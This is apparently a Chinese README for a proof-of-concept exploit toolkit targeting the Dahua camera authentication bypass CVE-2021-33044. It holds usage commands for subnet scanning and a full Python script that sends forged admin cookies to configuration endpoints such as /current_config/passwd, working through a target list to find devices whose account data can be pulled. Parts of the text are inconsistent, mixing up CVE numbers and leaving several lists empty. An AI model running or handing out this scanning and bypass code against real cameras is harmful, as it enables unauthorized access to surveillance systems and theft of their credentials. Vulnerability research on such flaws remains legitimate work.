大华认证绕过(CVE-2021-33044)的PoC漏洞利用工具。可扫描子网、测试多个CVE,并通过构造的Cookie在无有效凭据的情况下导出设备配置。
Dahua 网络摄像机是安防监控系统中常用的物联网设备。由于经常部署在内网或可从互联网访问,网络摄像机上的安全漏洞可能严重影响到隐私和信息安全。
CVE-2021-33045 是存在于多款 Dahua 摄像机系列中的安全漏洞,允许在无需有效身份验证的情况下,越权访问内部配置资源。该漏洞源于设备固件中访问控制机制不严密。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2021-33044 |
| 类型 | 身份验证绕过 |
| 严重程度 | Critical(CVSS ~9.8) |
| 认证 | 无需身份验证 |
| 影响范围 | Dahua Camera / DVR / NVR |
该漏洞源于 Dahua 摄像机固件中不安全的身份验证设计:
这允许攻击者:
参考:
→ 客户端发送带有任意 cookie 的 HTTP 请求
→ 摄像机在界面层面检查 cookie
→ 后端不验证会话是否有效
→ 允许直接访问内部配置端点
→ 返回敏感数据
| 文件 | 目的 | CVEs |
|---|---|---|
dahua_scanner.py | 网络发现 —— 在子网中查找 Dahua 摄像机 | 发现 |
dahua_exploit.py | 多 CVE 扫描工具 —— 检查所有安全漏洞。 | 全部 |
dahua_auth_bypass.py | 专用身份验证绕过工具,带 --dump 选项 | CVE-2021-33044 |
# 克隆仓库
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# 扫描子网(需要端口)
python dahua_scanner.py https://example.com -p 80 8080 8800
# 单台主机加端口
python dahua_scanner.py https://example.com
常见 Dahua 端口:80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # 绕过后转储设备信息
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
脚本使用 requests 库,并主动禁用 SSL 警告,用于关闭 SSL 告警提示
dump_accounts(ip, port=80) 函数是主函数,负责检测一台摄像机设备。
该函数的主要功能是:
模拟身份验证 cookie。函数使用以下 cookie 值:
userName=adminuserLevel=1sessionID=00000000在受影响的摄像机版本中,后端不验证实际的 sessionID,导致系统误以为请求来自有效的管理员账户。
脚本从输入文件读取目标列表,并依次对每台设备调用检测函数。这种方法可以自动评估多台摄像机。
这些脚本基于以下内容开发:
测试状态:
本项目: